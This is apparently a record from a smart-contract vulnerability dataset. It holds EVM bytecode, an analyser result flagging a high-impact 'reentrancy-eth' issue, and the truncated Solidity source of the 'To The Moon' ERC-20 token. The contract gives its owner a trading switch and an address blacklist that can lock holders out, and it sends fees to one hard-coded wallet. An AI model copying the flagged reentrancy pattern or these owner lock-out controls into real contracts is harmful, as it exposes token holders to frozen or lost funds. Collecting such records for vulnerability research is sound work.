ffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c906135e7565b60405180910390fd5b8060188190555050565b611487611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b90613547565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090613667565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172090613567565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118079190613687565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187b90613627565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118eb906134c7565b60405180910390fd5b60008111611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e90613607565b60405180910390fd5b61193f610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ad575061197d610e87565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef357601660149054906101000a900460ff16611a3c576119ce610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a32906134e7565b60405180910390fd5b5b601754811115611a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7890613527565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b255750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5b90613587565b60405180910390fd5b6001600854611b7391906137bd565b4311158015611bcf5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c295750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbf576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6c5760185481611d2184610c3e565b611d2b91906137bd565b10611d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6290613647565b60405180910390fd5b5b6000611d7730610c3e565b9050600060195482101590506017548210611d925760175491505b808015611dac5750601660159054906101000a900460ff16155b8015611e065750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1c575060168054906101000a900460ff165b8015611e725750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec85750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ef057611ed6826123c1565b60004790506000811115611eee57611eed47612258565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f9a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205b57600090506121e2565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121065750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211e57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e157600b54600d81905550600c54600e819055505b5b6121ee84848484612649565b50505050565b600083831115829061223c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223391906134a5565b60405180910390fd5b506000838561224b919061389e565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a860028461267690919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d3573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232460028461267690919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234f573d6000803e3d6000fd5b5050565b600060065482111561239a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239190613507565b60405180910390fd5b60006123a46126c0565b90506123b9818461267690919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f9576123f8613aa9565b5b6040519080825280602002602001820160405280156124275781602001602082028036833780820191505090505b509050308160008151811061243f5761243e613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e157600080fd5b505afa1580156124f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125199190612ee8565b8160018151811061252d5761252c613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259430601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611649565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f89594939291906136a2565b600060405180830381600087803b15801561261257600080fd5b505af1158015612626573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612657576126566126eb565b5b61266284848461272e565b806126705761266f6128f9565b5b50505050565b60006126b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290d565b905092915050565b60008060006126cd612970565b915091506126e4818361267690919063ffffffff16565b9250505090565b6000600d541480156126ff57506000600e54145b156127095761272c565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b600080600080600080612740876129d2565b95509550955095509550955061279e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287f81612ae2565b6128898483612b9f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e69190613687565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294b91906134a5565b60405180910390fd5b50600083856129639190613813565b9050809150509392505050565b600080600060065490506000683635c9adc5dea0000090506129a6683635c9adc5dea0000060065461267690919063ffffffff16565b8210156129c557600654683635c9adc5dea000009350935050506129ce565b81819350935050505b9091565b60008060008060008060008060006129ef8a600d54600e54612bd9565b92509250925060006129ff6126c0565b90506000806000612a128e878787612c6f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f4565b905092915050565b6000808284612a9391906137bd565b905083811015612ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acf906135a7565b60405180910390fd5b8091505092915050565b6000612aec6126c0565b90506000612b038284612cf890919063ffffffff16565b9050612b5781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb482600654612a3a90919063ffffffff16565b600681905550612bcf81600754612a8490919063ffffffff16565b6007819055505050565b600080600080612c056064612bf7888a612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c2f6064612c21888b612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c5882612c4a858c612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c888589612cf890919063ffffffff16565b90506000612c9f8689612cf890919063ffffffff16565b90506000612cb68789612cf890919063ffffffff16565b90506000612cdf82612cd18587612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d0b5760009050612d6d565b60008284612d199190613844565b9050828482612d289190613813565b14612d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5f906135c7565b60405180910390fd5b809150505b92915050565b6000612d86612d818461373c565b613717565b90508083825260208201905082856020860282011115612da957612da8613ae2565b5b60005b85811015612dd95781612dbf8882612de3565b845260208401935060208301925050600181019050612dac565b5050509392505050565b600081359050612df281613ee2565b92915050565b600081519050612e0781613ee2565b92915050565b60008083601f840112612e2357612e22613add565b5b8235905067ffffffffffffffff811115612e4057612e3f613ad8565b5b602083019150836020820283011115612e5c57612e5b613ae2565b5b9250929050565b600082601f830112612e7857612e77613add565b5b8135612e88848260208601612d73565b91505092915050565b600081359050612ea081613ef9565b92915050565b600081359050612eb581613f10565b92915050565b600060208284031215612ed157612ed0613aec565b5b6000612edf84828501612de3565b91505092915050565b600060208284031215612efe57612efd613aec565b5b6000612f0c84828501612df8565b91505092915050565b60008060408385031215612f2c57612f2b613aec565b5b6000612f3a85828601612de3565b9250506020612f4b85828601612de3565b9150509250929050565b600080600060608486031215612f6e57612f6d613aec565b5b6000612f7c86828701612de3565b9350506020612f8d86828701612de3565b9250506040612f9e86828701612ea6565b9150509250925092565b60008060408385031215612fbf57612fbe613aec565b5b6000612fcd85828601612de3565b9250506020612fde85828601612ea6565b9150509250929050565b60008060006040848603121561300157613000613aec565b5b600084013567ffffffffffffffff81111561301f5761301e613ae7565b5b61302b86828701612e0d565b9350935050602061303e86828701612e91565b9150509250925092565b60006020828403121561305e5761305d613aec565b5b600082013567ffffffffffffffff81111561307c5761307b613ae7565b5b61308884828501612e63565b91505092915050565b6000602082840312156130a7576130a6613aec565b5b60006130b584828501612e91565b91505092915050565b6000602082840312156130d4576130d3613aec565b5b60006130e284828501612ea6565b91505092915050565b6000806000806080858703121561310557613104613aec565b5b600061311387828801612ea6565b945050602061312487828801612ea6565b935050604061313587828801612ea6565b925050606061314687828801612ea6565b91505092959194509250565b600061315e838361316a565b60208301905092915050565b613173816138d2565b82525050565b613182816138d2565b82525050565b600061319382613778565b61319d818561379b565b93506131a883613768565b8060005b838110156131d95781516131c08882613152565b97506131cb8361378e565b9250506001810190506131ac565b5085935050505092915050565b6131ef816138e4565b82525050565b6131fe81613927565b82525050565b61320d81613939565b82525050565b600061321e82613783565b61322881856137ac565b935061323881856020860161396f565b61324181613af1565b840191505092915050565b60006132596023836137ac565b915061326482613b02565b604082019050919050565b600061327c603f836137ac565b915061328782613b51565b604082019050919050565b600061329f602a836137ac565b91506132aa82613ba0565b604082019050919050565b60006132c2601c836137ac565b91506132cd82613bef565b602082019050919050565b60006132e56026836137ac565b91506132f082613c18565b604082019050919050565b60006133086022836137ac565b915061331382613c67565b604082019050919050565b600061332b6023836137ac565b915061333682613cb6565b604082019050919050565b600061334e601b836137ac565b915061335982613d05565b602082019050919050565b60006133716021836137ac565b915061337c82613d2e565b604082019050919050565b60006133946020836137ac565b915061339f82613d7d565b602082019050919050565b60006133b76029836137ac565b91506133c282613da6565b604082019050919050565b60006133da6025836137ac565b91506133e582613df5565b604082019050919050565b60006133fd6023836137ac565b915061340882613e44565b604082019050919050565b60006134206024836137ac565b915061342b82613e93565b604082019050919050565b61343f81613910565b82525050565b61344e8161391a565b82525050565b60006020820190506134696000830184613179565b92915050565b600060208201905061348460008301846131e6565b92915050565b600060208201905061349f60008301846131f5565b92915050565b600060208201905081810360008301526134bf8184613213565b905092915050565b600060208201905081810360008301526134e08161324c565b9050919050565b600060208201905081810360008301526135008161326f565b9050919050565b6000602082019050818103600083015261352081613292565b9050919050565b60006020820190508181036000830152613540816132b5565b9050919050565b60006020820190508181036000830152613560816132d8565b9050919050565b60006020820190508181036000830152613580816132fb565b9050919050565b600060208201905081810360008301526135a08161331e565b9050919050565b600060208201905081810360008301526135c081613341565b9050919050565b600060208201905081810360008301526135e081613364565b9050919050565b6000602082019050818103600083015261360081613387565b9050919050565b60006020820190508181036000830152613620816133aa565b9050919050565b60006020820190508181036000830152613640816133cd565b9050919050565b60006020820190508181036000830152613660816133f0565b9050919050565b6000602082019050818103600083015261368081613413565b9050919050565b600060208201905061369c6000830184613436565b92915050565b600060a0820190506136b76000830188613436565b6136c46020830187613204565b81810360408301526136d68186613188565b90506136e56060830185613179565b6136f26080830184613436565b9695505050505050565b60006020820190506137116000830184613445565b92915050565b6000613721613732565b905061372d82826139a2565b919050565b6000604051905090565b600067ffffffffffffffff82111561375757613756613aa9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c882613910565b91506137d383613910565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380857613807613a1c565b5b828201905092915050565b600061381e82613910565b915061382983613910565b92508261383957613838613a4b565b5b828204905092915050565b600061384f82613910565b915061385a83613910565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561389357613892613a1c565b5b828202905092915050565b60006138a982613910565b91506138b483613910565b9250828210156138c7576138c6613a1c565b5b828203905092915050565b60006138dd826138f0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139328261394b565b9050919050565b600061394482613910565b9050919050565b60006139568261395d565b9050919050565b6000613968826138f0565b9050919050565b60005b8381101561398d578082015181840152602081019050613972565b8381111561399c576000848401525b50505050565b6139ab82613af1565b810181811067ffffffffffffffff821117156139ca576139c9613aa9565b5b80604052505050565b60006139de82613910565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a1157613a10613a1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613eeb816138d2565b8114613ef657600080fd5b50565b613f02816138e4565b8114613f0d57600080fd5b50565b613f1981613910565b8114613f2457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c4f0a684a885f32188b70c86ffa4544fc076c80f7a8623425983065110a29f7764736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
8,374
0x672c7938abc5ea953757d10136def594c56f2e5c
/** *Submitted for verification at Etherscan.io on 2022-04-05 */ // SPDX-License-Identifier: Unlicensed /** ▀▀█▀▀ █▀▀█   ▀▀█▀▀ █░░█ █▀▀   ▒█▀▄▀█ █▀▀█ █▀▀█ █▀▀▄ ░▒█░░ █░░█   ░▒█░░ █▀▀█ █▀▀   ▒█▒█▒█ █░░█ █░░█ █░░█ ░▒█░░ ▀▀▀▀   ░▒█░░ ▀░░▀ ▀▀▀   ▒█░░▒█ ▀▀▀▀ ▀▀▀▀ ▀░░▀ **/ pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract TTM is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "To The Moon"; string private constant _symbol = unicode"🚀"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 999999999999 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 5; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 5; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x431B0f9dFaD0a5ccea3696C9Bf703d114665C681); address payable private _marketingAddress = payable(0x431B0f9dFaD0a5ccea3696C9Bf703d114665C681); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 9999999999 * 10**9; uint256 public _maxWalletSize = 9999999999 * 10**9; uint256 public _swapTokensAtAmount = 9999 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = 